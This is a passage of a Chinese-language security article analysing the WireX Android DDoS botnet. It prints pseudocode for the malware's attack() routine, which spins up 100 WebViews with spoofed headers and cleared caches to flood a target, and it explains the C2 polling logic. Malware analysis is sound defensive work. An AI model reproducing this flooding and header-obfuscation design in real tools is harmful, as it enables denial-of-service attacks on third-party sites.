欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

安卓DDOS僵尸网络:The WireX Botnet

来源:本站整理 作者:佚名 时间:2017-08-29 TAG: 我要投稿
            AttackerViews[i]->clearCache(true);
            WebViewSettings AttackWebViewSettings = AttackerViews[i]->getSettings();
            AttackWebViewSettings->setJavaScriptEnabled(true);
            AttackWebViewSettings->setUserAgentString(userAgent);
            AttackWebViewSettings->setCacheMode(LOAD_NO_CACHE);
            this->deleteDatabase(“webview.db”);
            this->deleteDatabase(“webviewCache.db”);
            AttackerViews[i]->loadUrl(target,WebViewHeaders);
        }
    }
}
DDoS Service的onCreate()
onCreate()方法直截了当:就创建了一个新的android.os.Handler以及ServiceRunner实例。其中ServiceRunner实例随后通过postDelayed()方法被hook到Handler上。根据Android官方文档的介绍,这"使得Runnable对象被添加到消息队列中,然后经过一段特定的时间之后被调用"。这个方法接收的第二个参数是在Runnable被调用之前需要经过的毫秒(ms)数。在这个例子里面就是2,也就是2ms,可见攻击者多么具有攻击性。
DDoS Service poll_c2()
poll_c2()方法负责使用C2 URL不断重新加载WebView,同时将AttackCommandParser WebViewClient hook到轮询器WebView实例中。 在轮询C2域之前,这个Service将清除并禁用缓存,并清除WebView实例的历史记录。 执行这些步骤是为了确保客户端始终从C2获取最新信息,而不是从本地设备的缓存中。 在分析attack()方法时,我们会看到这种策略再次被使用。
DDoS Service attack()
Public function attack(String target, String userAgent, String referer) { 
    HashMap WebViewHeaders = new HashMap();
    WebViewHeaders->put(“Referer”,referer);
    WebViewHeaders->put(“X-Requested-With”,””);   
    WebView[] AttackerViews = new WebView[100];
    for (int i=0; i
        AttackerViews[i] = new WebView();
        AttackerViews[i]->clearHistory();
        AttackerViews[i]->clearFormData();
        AttackerViews[i]->clearCache(true);
        WebViewSettings AttackWebViewSettings = AttackerViews[i]->getSettings();
        AttackWebViewSettings->setJavaScriptEnabled(true);
        AttackWebViewSettings->setUserAgentString(userAgent);
        AttackWebViewSettings->setCacheMode(LOAD_NO_CACHE);
        this->deleteDatabase(“webview.db”);
        this->deleteDatabase(“webviewCache.db”);
        AttackerViews[i]->loadUrl(target,WebViewHeaders);
    }
}
attack()方法负责生成实际的攻击流量。之前讨论的AttackCommandParser-> onPageFinished() 将传递由最后一个C2交互发出的target,userAgent和referer值。此方法将创建一个HashMap对象,该对象将配置攻击期间使用的HTTP头。
第一个头是HTTP Referer,据我们所知这是由C2服务器提供的。在所有我们观察到的情况中,该值是实际目标的镜像值。第二个头是X-Requested-With; 虽然WebView通常会有一个默认值,但它将被空白值覆盖。通常来自嵌入式WebView的这个HTTP头将包含与Android应用程序有关的信息,例如com.[app_author].app。这个头部很可能被专门用来混淆攻击目标身上遇到的攻击流量是谁或者什么。
一旦配置了headers,就会实例化一个空的WebView占位符数组,然后是一个循环,用实际的WebView实例来填充这个数组。每个实例都通过同一组配置过程。创建的WebView实例将具有其历史记录,保存的表单数据和缓存清除。启用JavaScript功能(默认情况下嵌入式WebViews通常被禁用),将使用C2攻击指令提供的值覆盖HTTP头中出现的User-Agent字符串,并将CacheMode设置为LOAD_NO_CACHE,这将强制浏览器实例绕过本地缓存,然后为每个请求获取目标URL。
最终确保设备上不会命中缓存,然后将该请求发送到目标,应用程序在加载每个请求之前也会从设备中删除其本地的webview.db和webviewCache.db文件。
最后,我们看到使用目标URL和自定义的WebViewHeaders HashMap在新配置的WebView实例上调用了loadUrl()方法。
运行恶意软件——用户体验怎么样?

上一页  [1] [2] [3] [4] [5]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载